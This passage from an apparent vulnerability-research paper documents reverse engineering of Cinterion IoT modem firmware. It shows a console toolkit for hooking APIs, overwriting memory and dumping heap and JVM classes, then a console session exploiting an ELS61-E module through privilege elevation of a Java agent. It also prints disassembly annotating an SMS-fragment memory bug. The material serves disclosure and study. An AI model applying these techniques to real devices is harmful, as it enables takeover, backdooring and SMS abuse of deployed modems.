ROM:861AF2DC MOV R1, R6 ; cmd buf
ROM:861AF2DE BL agsr_preprocess_XDLCTEST_command ; XDLCTEST - DLC Operation And Performance
ROM:861AF2E2 CMP R0, #0
ROM:861AF2E4 BNE locret_861AF2F6 ; -> error (or info that cmd has been processed)
ROM:861AF2E6 LDR R0, [R4] ; ATProcessor ?
ROM:861AF2E8 MOV R2, R7 ; buf size
ROM:861AF2EA MOV R1, R6 ; cmd buf
ROM:861AF2EC ADDS R0, #0x80
ROM:861AF2EE STR R5, [R0,#0x34]
ROM:861AF2F0 LDR R0, [R4] ; ATProcessor ?
ROM:861AF2F2 BL agsr_uta_cat_cmdprocessor_process_inbuffer
```
All code locations that invoke it can be easily looked up from the command shell:
```
telcin> srchbl 0x861AF2C8
0x861a2f4e BL 0x861af2c8
0x861a306c BL 0x861af2c8
0x861af34a BL 0x861af2c8
0x861cd0fe BL 0x861af2c8
0x861cd284 BL 0x861af2c8
0x861cd3a8 BL 0x861af2c8
0x861cd794 BL 0x861af2c8
```
Similarly, code locations that refer to given string can be easily located:
```
telcin> srchs "OMADMCLIENT(%s,%d): security check failed!"
0x86bdd04c "OMADMCLIENT(%s,%d): security check failed!"
telcin> srchadr 0x86bdd04c
0x86bdcf18 ADR R0, =0x86bdd04c
```
Beside the abovementioned little static code analysis helpers, the toolkit contains support for
dynamic runtime hooks.
The hooks in its current form make it possible to save register state (rprobe), do memory snapshot
(mrobe) or set memory content (mcopy) at the time of arbitrary (hooked) API call (before or after
the call).
Sample use of hooks for intercepting 3gpp SMS filter is shown below (reception of `test` SMS
and doing snapshot of a memory content corresponding to its body):
Hook setup proceeds as following (0x8117AB30 contains address of `OmadmUtaSms3gppFilterFunction`):
```
telcin> hook -c 0x8117AB30 -f entry -h mprobe=r0:0x100
telcin> hoke -e 0
telcin> hook -i 0
```
Upon SMS sending to the device, the following is shown by the log:
```
[ATCommandListener]: '+CIEV: ceer,26,187'
[Main]: AT^SWWAN=1,1 (for autoStartWWAN)
[ATCommandListener]: '+CIEV: ciphcall,1'
[ATCommandListener]: '+CMTI: "SM",4' is missing "\n"!
AGSR checkIncomingCharacters: SECMSG1d51aff807aa10a0bdf6feda9e87bbaf
AGSR in msg len: 4
AGSR in msg: test
[SmsHandler]: SMS - Sending usage information to '+48xxxxxxxx'
[SmsHandler]: ('test')
[SmsHandler]: Waiting for next SMS...
[ATCommandListener]: '+CIEV: message,1'
[ATCommandListener]: '+CIEV: message,0'
[ATCommandListener]: '+CIEV: ceer,26,187'
[Main]: AT^SWWAN=1,1 (for autoStartWWAN)
[HardwareManager]: memoryFree = '20970672'
[SubscriptionHandler]: Warning: no External Device listener defined.
```
The hook and data caught by it can be inspected:
```
telcin> hook -p 0
[00] entry IE addr 0x83be9e58 location 0x8117ab30 callcnt 0x0001
[HANDLER MEM PROBE]
- type: 3
- base_addr: 83ba50c8
- call_addr: 83ba1da8
- data: 83ba4460
- data size: 00000108
data addr: 70a2e610
data
0000: 89 00 00 00 03 00 00 00 3d 07 91 84 05 21 00 77 ........=....!.w
0010: f7 04 0b 91 84 xx xx xx xx xx 00 00 22 11 03 01 ............"...
0020: 13 30 40 26 d3 e2 b0 39 3d c6 c8 b5 58 d8 6c c6 .0@&...9=...X.l.
0030: c1 6e e1 70 0c 16 86 89 c9 66 9b b9 4c 0e e7 ca .n.p.....f..L...
0040: b8 9b 58 1c 36 03 00 00 00 00 00 00 00 00 00 00 ..X.6...........
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 4d c5 86 86 ............M...
00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00e0: a0 30 e8 81 90 1a e6 81 48 e7 a2 70 00 00 00 00 .0......H..p....
00f0: 18 07 ce 80 bf 39 23 86 90 1a e6 81 00 00 00 00 .....9#.........
```
Hooks can change the execution result for a hooked call, they can block it too.
They can have more complex forms too. For instance, the following sample shows a hook that does
an overwrite of a memory content designated by agent variable 0 by the content of agent variable 1.
The copy takes place at the time of a hooked call (test dummyproc handler in this case):
```
telcin> start a:/agent.jad
OK
telcin> dummyproc
location: 0x81e8e800
code: 0x83b63f00
telcin> avset -i 0 -d 1111111111111111
telcin> avset -i 1 -d aabbccdd
telcin> hook -c 0x81e8e800 -f entry -h mcopy=v_1:v_0:v_1_size
telcin> hook -e 0
telcin> hook -i 0
telcin> hook -l
[00] entry IE addr 0x83b9d410 location 0x81e8e800 callcnt 0x0000
telcin> avget -i 0
val: 0x83b9ce78
83b9ce78: 11 11 11 11 11 11 11 11 ........
telcin> avget -i 1
val: 0x83b9ce98
83b9ce98: aa bb cc dd ....
telcin> invoke 0x83b9d410
[INVOKE 0x83b9d410]
- a1 = 0x00000000
- a2 = 0x00000000
- a3 = 0x00000000
- a4 = 0x00000000
- a5 = 0x00000000
- a6 = 0x00000000
- a7 = 0x00000000
- a8 = 0x00000000
res: 0x00000000
telcin> hook -l
[00] entry IE addr 0x83b9d410 location 0x81e8e800 callcnt 0x0001
telcin> avget -i 0
val: 0x83b9ce78
83b9ce78: aa bb cc dd 11 11 11 11 ........
telcin> avget -i 1
val: 0x83b9ce98
83b9ce98: aa bb cc dd ....
telcin>
```
Additionally, the tool contains some helpers for investigating heap content of a target device.
For instance, the following command can be used to obtain base information about the heap:
```
telcin> start a:/agent.jad
OK
telcin> memory device
MEMORY MODE: device
telcin>
telcin> heapinfo
heap_table: 80d066f4
- addr: 0x81df3be4
- base: 0x83df3be4
- first_addr: 0x81df46d8 [0x81df46f0]
- last_addr: 0x83df3be0 [0x83df3bf8]
- alloc_size: 0x01dbb6c0
```
Current heap state understood as information about all allocated and free chunks can be easly
acquired too:
```
telcin> heapstate -p 0x81df46d8 -m 0x86000000/0xff000000 -s heap.dat
[HEAP STATE]
code: 0x00000000
buf: 0x83ba35e0
size: 0x00001e54 (647)
[0000] 0x81df46f0 size 0x0000003c busy
[0001] 0x81df4910 size 0x00000020 busy
[0002] 0x81df4a98 size 0x00000064 busy
[0003] 0x81df4c48 size 0x00000020 busy
[0004] 0x81df4cd8 size 0x00000084 busy
[0005] 0x81df4db0 size 0x00000020 busy
[0006] 0x81df4de8 size 0x00000020 busy
[0007] 0x81df4e20 size 0x0000003c busy
[0008] 0x81df4e78 size 0x0000003c busy
[0009] 0x81df4ed0 size 0x0000003c busy
[000a] 0x81df4f28 size 0x0000003c busy
[000b] 0x81df4f80 size 0x0000003c busy
[000c] 0x81df4fd8 size 0x0000003c busy
[000d] 0x81df5030 size 0x0000003c busy
[000e] 0x81df5088 size 0x0000003c busy
[000f] 0x81df5108 size 0x00004000 busy
[0010] 0x81df9650 size 0x0000003c busy
[0011] 0x81df9810 size 0x0000003c busy
[0012] 0x81df9868 size 0x0000003c busy
[0013] 0x81df98c0 size 0x00000010 busy
[0014] 0x81df98e8 size 0x00000010 busy
[0015] 0x81df9910 size 0x0000003c busy
[0016] 0x81df9970 size 0x0000001c busy
[0017] 0x81df99a8 size 0x00000024 busy
[0018] 0x81e05818 size 0x00000084 busy
[0019] 0x81e058b8 size 0x00000020 busy
...
```
Allocated heap state can be searched for word patterns. The following sample illustrates a search
for OMA DM structure holding implementation code pointers:
```
telcin> heapstate -p 0x81df46d8 -m 0x86BDFDC0/0xffffffff
[HEAP STATE]
code: 0x83bc67c0
buf: 0x83ba35e0
size: 0x00000018 (2)
[0000] 0x81efac60 size 0x00000054 busy
[0001] 0x81f48580 size 0x00018fff busy
TOTAL free: 00000000
TOTAL alloc: 00019053
```
Discoverd chunk can be confirmed with the use of `dmstruc` command showing the location of the
target DM structure (`ptr table`):
```
telcin> dmstruc
OMADM tree: 0x83b5b4e0
struc addr: 0x81e42ad8
ptr table: 0x81efac60
```
More detailed information about given heap chunk can be also obtained:
```
telcin> malloc 0x20
res: 0x81eeae60
telcin> ptrinfo 0x81eeae28
[0x81eeae28]
start: 0x81eeae10
size: 0x00000038
alloc_size: 0x00000020
left: 0x00000000
prev: 0x81eeade0 [0x81eeadf8]
next: 0x81eeae48 [0x81eeae60]
telcin> dmem 0x81eeae10
81eeae10: 44 33 22 11 31 00 00 00 04 56 aa 55 39 00 00 00 D3".1....V.U9...
81eeae20: 20 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae40: 00 00 00 00 00 00 00 00 44 33 22 11 39 00 00 00 ........D3".9...
81eeae50: 04 56 aa 55 39 00 00 00 20 00 00 00 01 00 00 00 .V.U9...........
81eeae60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae80: 44 33 22 11 39 00 00 00 e0 55 aa 55 29 00 00 00 D3".9....U.U)...
81eeae90: 0c 00 00 00 01 00 00 00 08 00 00 00 00 02 1f 02 ................
81eeaea0: 04 02 40 04 44 c2 e5 80 44 33 22 11 29 00 00 00 ..@.D...D3".)...
81eeaeb0: 14 56 aa 55 49 00 00 00 20 00 00 00 01 00 00 00 .V.UI...........
81eeaec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeaee0: 44 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 D...D...D.......
81eeaef0: 44 33 22 11 49 00 00 00 08 56 aa 55 41 00 00 00 D3".I....V.UA...
81eeaf00: 1c 00 00 00 01 00 00 00 34 6d 34 87 0a 00 0a 03 ........4m4.....
```
Finally, device firmware contains multiple invocations of a debug / logging subrutines. These
are not displayed in the console though.
An investigation of their operation made it possible to install a hijack hook that gathers log
information to either memory buffer or a file (`a:/trace.txt`). The trace content can provide
many insights into the system operation (how it responds to various input in particular, what
functionality is or is not invoked as part of it, etc.):
```
telcin> tracelog
[TRACE LOG]
- trace_handler: 839622f0
- logbuf: 838622e4
- data_size: 00006b82
- read_pos: 00000000
- log_full: 0
[C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2
[C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2
[C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2
[C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2
[VRC_Event_OnJrcSetDataMode] disable
SCC: T:1 jBlocked ON
[vrc_jrc_set_datamode] ret = 0
SIO: T:1 dsr=1
SIO: DCD-OFF
SIO: T:1 dsr=1, cts=0, dcd=0, ri=0, ul-fl=1
SIO: T:1 dsr=1
SIO: T:1 dsr=1, cts=1, dcd=0, ri=0, ul-fl=0
SCC: T:1 M: OFFLINE-CMD,
SCC: T:1 jOwnDCD OFF
[VRC_Event_OnJrcSetDataMode] res=0, esc=0
Error Code 0
vrc_jrc_notify_command_complete : reset jrc_cmdline_start(FALSE)
java_rc_notify_command_complete in vrc.
vrc_jrc_notify_cmdline_complete:: set jrc_cmdline_start = UTA_FALSE;
SCC: T:1 jBlocked OFF
SCC: T:1 L:6 R: OK
Command:-[C-AT] Mode: 1, CNMIoveride?=0, msghandler?=0, msg?=
URC Type : ^SMONI_METRIC >< SIM ID : 0>< count of processors : 29
URC Type : ^SNMON_METRIC >< SIM ID : 0>< count of processors : 29
JD debug: rsrp=0,rsrq=0,drx=0,rssi=0,squal=0,srxlev=0
URC Type : LSTA_METRIC >< SIM ID : 0>< count of processors : 29
URC Type : ^SMONI_METRIC >< SIM ID : 0>< count of processors : 29
URC Type : ^SNMON_METRIC >< SIM ID : 0>< count of processors : 29
JD debug: rsrp=0,rsrq=0,drx=0,rssi=0,squal=0,srxlev=0
URC Type : LSTA_METRIC >< SIM ID : 0>< count of processors : 29
URC Type : ^SMONI_METRIC >< SIM ID : 0>< count of processors : 29
URC Type : ^SNMON_METRIC >< SIM ID : 0>< count of processors : 29
JD debug: rsrp=0,rsrq=0,drx=0,rssi=0,squal=0,srxlev=0
URC Type : LSTA_METRIC >< SIM ID : 0>< count of processors : 29
SCC: T:27 M: OFFLINE-BUSY, OFFLINE-BUSY
SCC: T:27 L:8 C: at+COPS?
[C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262158,evt=0x1
[C-AT]CatIO_Async_cb:dev_hdl=262158,evt=0x1
SCC: T:27 M: OFFLINE-CHAR, OFFLINE-CHAR
[C-AT]cat_set_abort_mode: ABORT_SET done,devpath=/iojava/0, hdl=262158
CMD not recognized on JRC:100, try next.
next_jrc_client: 6.
CMD not recognized on JRC:6, try next.
next_jrc_client: 1.
CMD not recognized on JRC:1, try next.
no more jrc processor left, try native functions.
[EXECUTING CMD] : +COPS => DESCR : Operator Selection
SCC: T:27 M: OFFLINE-CHAR, OFFLINE-CHAR
[C-AT]cat_set_abort_mode: ABORT_SET done,devpath=/iojava/0, hdl=262158
SCC: T:27 L:12 R: +COPS: 2
Error Code 0
```
### REVERSE ENGINEERING OUTCOME
Static firmware analysis along tracelog inspection and dynamic API hooking made it possible to
reverse engineer the following information about target device (among other):
- threads list and start adress information (`data\threads.txt`)
- AT commands and their handlesr (`data\atcmds.txt`)
- system URCs and their handlesr (`data\sysurc.txt`)
- signal queues for baseband processor tasks (`data\sigqueues.txt`)
- scfg parameteres and their handlers (`data\scfginfo.txt`)
- MBIM commands and their handlers (`data\mbimcmds.txt`)
- program test interfaces, their args and handlers (`data\interfaces_full.txt`)
- compete dump of JVM classes, methods and fields (`data\cwm.txt`)
- JVM bytecode handlers (`data\bytecodes.txt`)
- OMA DM tree content (`data\dmtree.txt`)
It made discovery and exploitation of the issues described in this paper possible in particular.
#### CVM CLASSES DUMP
It is interesting to note that CLDC HI and internal fast VM opcodes makes it possible to dump
JVM classes in a very descriptive form.
All static and virtual methods can be resolved, same for all field and class references. As a
result an annotated code listing can be obtained for all Java based code implemented by target
device.
This is illustrated below by a fragment of a code dump for `com/cinterion/lwm2m/client/util/GprsNetwork`
class:
```
[com/cinterion/lwm2m/client/util/GprsNetwork]
addr: 81f8f2c4
klass: 871fca94
object_size: 0034
instance_size: 0018
embedded_start: 00000028
prototypical_near: 818b7a34
class_info: 8720e32c
subtype_cache_1: 00000000
subtype_cache_2: 00000000
array_class: 00000000
superclass: 81f86e80 java/lang/Object
next: 81f902b0
CLASSDESC
klass: 87083c00
object_size: 008c
vtable_length: 0018
itable_length: 0000
class_id: 00000324
name: 8716c49c
access_flags: 18000021 public class
VERIFIED PRELOADED
methods: 87248068
fields: 87248084
static_field_end: 00000024
local_interfaces: 871fd6c4
inner_classes: 00000000
constants: 871ac80c
METHODS
[00] ()V
access_flags: 03245282 private
name_idx: 2837
signature_idx: 5783
code_size: 0024
bytecode
0000: 2a cc 5a 4b d9 01 00 2a cc 5a 4b d9 02 00 2a cc *.ZK...*.ZK...*.
0010: 5a 4b d9 03 00 2a cc 5a 4b d9 04 00 2a cc 5a 4b ZK...*.ZK...*.ZK
0020: d9 05 00 b1 ....
0000 aload_0
0001 fast_1_ldc_w = ""
0004 fast_aputfield 1
0007 aload_0
0008 fast_1_ldc_w = ""
000b fast_aputfield 2
000e aload_0
000f fast_1_ldc_w = ""
0012 fast_aputfield 3
0015 aload_0
0016 fast_1_ldc_w = ""
0019 fast_aputfield 4
001c aload_0
001d fast_1_ldc_w = ""
0020 fast_aputfield 5
0023 return
[01] getInstance()Lcom/cinterion/lwm2m/client/util/GprsNetwork;
access_flags: 03245289 public
name_idx: 215a
signature_idx: 2dda
code_size: 0015
bytecode
0000: 01 d1 80 fe a6 00 0d e8 80 ff 59 e6 81 00 d0 80 ..........Y.....
0010: fe d1 80 fe b0 .....
0000 aconst_null
0001 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0004 if_acmpne 11
0007 fast_new Lcom/cinterion/lwm2m/client/util/GprsNetwork;
000a dup
000b fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.()V
000e fast_a_putstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0011 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0014 areturn
[02] init(Lcom/cinterion/lwm2m/client/object/ATCommander;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
access_flags: 03240289 public
name_idx: 0955
signature_idx: 3630
code_size: 00a0
bytecode
0000: 01 d1 80 fe a6 00 0d e8 80 ff 59 e6 81 00 d0 80 ..........Y.....
0010: fe d1 80 fe 2b d9 01 00 d1 80 fe 2c d9 02 00 d1 ....+......,....
0020: 80 fe 2d d9 03 00 d1 80 fe 19 04 d9 04 00 d1 80 ..-.............
0030: fe 19 05 d9 05 00 d1 81 01 cc 6b cc e4 7e 2c 02 ..........k...,.
0040: 00 2a cc 6e 3c cc 6c bd e2 81 02 2a cc 6e cf cc .*.n<.l....*.n..
0050: 6c bd e2 81 02 2a cc 6a 93 cc 6c bd e2 81 02 2a l....*.j..l....*
0060: cc 5b c7 cc 6c bd e2 81 02 2a cc 5e 75 cc 6c bd .[..l....*.^u.l.
0070: e2 81 02 d1 80 fe e2 81 03 57 d1 80 fe 03 e2 81 .........W......
0080: 04 d1 80 fe e6 81 05 d1 80 fe e6 81 06 a7 00 12 ................
0090: 3a 06 e8 81 07 59 19 06 e2 72 45 e6 81 08 bf b1 :....Y...rE.....
0000 aconst_null
0001 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0004 if_acmpne 11
0007 fast_new Lcom/cinterion/lwm2m/client/util/GprsNetwork;
000a dup
000b fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.()V
000e fast_a_putstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0011 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0014 aload_1
0015 fast_aputfield 1
0018 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
001b aload_2
001c fast_aputfield 2
001f fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0022 aload_3
0023 fast_aputfield 3
0026 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0029 aload 4
002b fast_aputfield 4
002e fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0031 aload 5
0033 fast_aputfield 5
0036 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.log [Lcom/cinterion/lwm2m/client/log/Logger$ILog;]
0039 fast_1_ldc_w = "Disable echo..."
003c fast_invokeinterface com/cinterion/lwm2m/client/log/Logger$ILog.debug(Ljava/lang/String;)V
0041 nop
0042 aload_0
0043 fast_1_ldc_w = "ate0
"
0046 fast_1_ldc_w = "OK"
0049 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V
004c aload_0
004d fast_1_ldc_w = "at+cmee=2
"
0050 fast_1_ldc_w = "OK"
0053 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V
0056 aload_0
0057 fast_1_ldc_w = "at^sctm=1,1
"
005a fast_1_ldc_w = "OK"
005d fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V
0060 aload_0
0061 fast_1_ldc_w = "ati1
"
0064 fast_1_ldc_w = "OK"
0067 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V
006a aload_0
006b fast_1_ldc_w = "AT+CGMM
"
006e fast_1_ldc_w = "OK"
0071 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V
0074 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0077 fast_invokevirtual checkSIM()Lcom/cinterion/lwm2m/client/util/SIM;
007a pop
007b fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
007e iconst_0
007f fast_invokevirtual setAirplaneMode(Z)V
0082 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
0085 fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.configSjnet()V
0088 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020
008b fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.adjustClock()V
008e goto a0
0091 astore 6
0093 fast_new Lcom/cinterion/lwm2m/client/util/GprsNetworkException;
0096 dup
0097 aload 6
0099 fast_invokevirtual getMessage()Ljava/lang/String;
009c fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetworkException.(Ljava/lang/String;)V
009f athrow
...
```
## IMPACT TO OTHER DEVICES
The Cinterion line of devices contain many IoT modem / gateway devices as indicated. These are
indicated in Java code (`getGeneralProductName` method of `com.cinterion.ident.Product` class):
```
"BGS5" "BGS8"
"EHS5" "EHS5-E" "EHS5-US" "EHS5-DEBUG"
"JAKARTA-DEBUG"
"EHS6" "EHS6-REL2.5" "EHS6-A"
"EHS8"
"PDS5" "PDS5-E" "PDS5-US"
"PDS6" "PDS6-J"
"PDS8"
"ELS61" "ELS61-E" "ELS61-US" "ELS61-CHINA" "ELS61-AUS" "ELS61-USA"
"ELS81" "ELS81-E" "ELS81-US"
"716-GLOBAL-BOARD"
"PLS52"
"PLS62" "PLS52-E" "PLS62-W"
```
JRC midlet code indicates that some of these devices (`EHS5-E` and `ELS61-E`) contain similar code
sequences as vulnerable `DGL61-W`.
We verified that `ELS61-E` with latest firmware update applied (with `JRC-1.64.02`) is affected to
Java issues and can be successfully exploited for memory read, write and code execution access.
This is illustrated below.
Please, note that due to the fact that `com.cinterion.io.ATCommand` class is missing in `ELS61-E`
firmware, the exploit is demonstrated with the use of `pejava` (privilege elevation for Java)
command (it could likely be demonstrated with the use of `com.cinterion.internal.ATCommandHelper`
class):
```
telcin> run ai.scr
telcin> telcin> print "### installing Agent"
### installing Agent
telcin> telcin> put midlet\agent\agent.jar a:/agent.jar
ERROR: path not found
uploading a:/agent.jar
[###############################]
telcin> telcin> put midlet\agent\agent.jad a:/agent.jad
uploading a:/agent.jad
[###############################]
telcin> telcin> sleep 200
telcin> telcin> install a:/agent.jad
OK
telcin> pejava
downloading a:/cwmjava/00000005.ii
[###############################]
downloading a:/cwmjava/00000007.ii
[###############################]
downloading a:/cwmjava/00000009.ii
[###############################]
Making Agent midlet privileged
uploading a:/cwmjava/00000009.ii
[###############################]
uploading a:/cwmjava/00000009.ss
[###############################]
DONE
telcin> start a:/agent.jad
OK
telcin> appinfo -r
#### RUNNING APPS ####
[Java Remote Control MIDlet Suite]
url: a:/JRC-1.64.02.jad
vendor: Cinterion
version 1.64.02
autostart: 1
priority: 1
[agent]
url: a:/agent.jad
vendor: AGSecRes
version 1.0
autostart: 0
priority: 0
telcin> agent
AGENT ready
telcin> cpuinfo
[CPU INFO]
- vendor: ARM Limited
- model: ARM1176
- mode: Supervisor
- MMU: enabled
telcin> dmem 0x86400000
86400000: 53 54 4d 4f 4e 5f 45 52 52 5f 49 4e 56 41 4c 49 STMON_ERR_INVALI
86400010: 44 5f 53 49 47 4e 41 4c 5f 49 44 20 20 20 20 20 D_SIGNAL_ID.....
86400020: 20 20 20 3d 20 2d 34 00 53 54 4d 4f 4e 5f 45 52 ...=.-4.STMON_ER
86400030: 52 5f 49 4e 56 41 4c 49 44 5f 49 4e 54 5f 53 49 R_INVALID_INT_SI
86400040: 47 4e 41 4c 5f 49 44 20 20 20 20 3d 20 2d 35 00 GNAL_ID....=.-5.
86400050: 53 54 4d 4f 4e 5f 45 52 52 5f 4f 50 5f 53 49 47 STMON_ERR_OP_SIG
86400060: 4e 41 4c 5f 4e 4f 54 5f 46 52 45 45 20 20 20 20 NAL_NOT_FREE....
86400070: 20 20 20 3d 20 2d 36 00 53 54 4d 4f 4e 5f 45 52 ...=.-6.STMON_ER
86400080: 52 5f 49 4e 56 41 4c 49 44 5f 48 41 4e 44 4c 45 R_INVALID_HANDLE
86400090: 20 20 20 20 20 20 20 20 20 20 20 3d 20 2d 37 00 ...........=.-7.
864000a0: 53 54 4d 4f 4e 5f 45 52 52 5f 48 41 4e 44 4c 45 STMON_ERR_HANDLE
864000b0: 5f 41 4c 52 45 41 44 59 5f 46 52 45 45 20 20 20 _ALREADY_FREE...
864000c0: 20 20 20 3d 20 2d 38 00 53 54 4d 4f 4e 5f 45 52 ...=.-8.STMON_ER
864000d0: 52 5f 50 43 4c 5f 4e 4f 54 5f 46 52 45 45 20 20 R_PCL_NOT_FREE..
864000e0: 20 20 20 20 20 20 20 20 20 20 20 3d 20 2d 39 00 ...........=.-9.
864000f0: 53 54 4d 4f 4e 5f 45 52 52 5f 49 4e 54 45 52 4e STMON_ERR_INTERN
```
It is also worth to mention that the code for handling SMS fragments is the same as in `DGL61-W`
device case:
```
ROM:86165402 loc_86165402 ; CODE XREF: ROM:861653F6↑j
ROM:86165402 LDRH R0, [R4,#0x1A] ; saved ref id
ROM:86165404 LDRB R1, [R5,#3] ; ref id
ROM:86165406 CMP R0, R1
ROM:86165408 BEQ loc_86165432 ; BUG -> alloc gets skipped if ref id matches
ROM:86165408 ;
ROM:86165408 ; SMS1: refid, frag x, total frag = 5
ROM:86165408 ; SMS1: refid, frag 10, total frag = 20 <-- out of memory write ?
ROM:8616540A LDR R0, [R4,#0x24]
ROM:8616540C CMP R0, #0
ROM:8616540E BEQ loc_8616541A
ROM:86165410 LDRB R1, [R7,#8]
ROM:86165412 CMP R1, #0
ROM:86165414 BEQ loc_8616541A
ROM:86165416 BL agsr_UtaCmmMemoryFree
```
This implicates `ELS61-E` device could be also vulnerable to SMS fragments handling vulnerability
(Issue 18).
## VULNERABILITIES IMPACT
Below, sample impact of a device compromise is provided:
- secrets theft
- access to backend services
- bricking the device (making it unusuable, by erasing / overwriting firmware)
- backdooring the device (a silent backoor can be implemented)
- using the device for calls to premium telephone / SMS numbers
- using the device as massive SMS sender (spam messages, phishing messages, messages
pointing to exploit page)
- using the device as a proxy in attacks (launch hack attacks against other networks
from the device, use of the number as an identity verification, etc.)
- sniffing of some of the communication occuring through the device (if not encrypted)
- providing false information to the cloud server (such as SLAE), proxying communication
with cloud server (so that all traffic goes through attacker's server)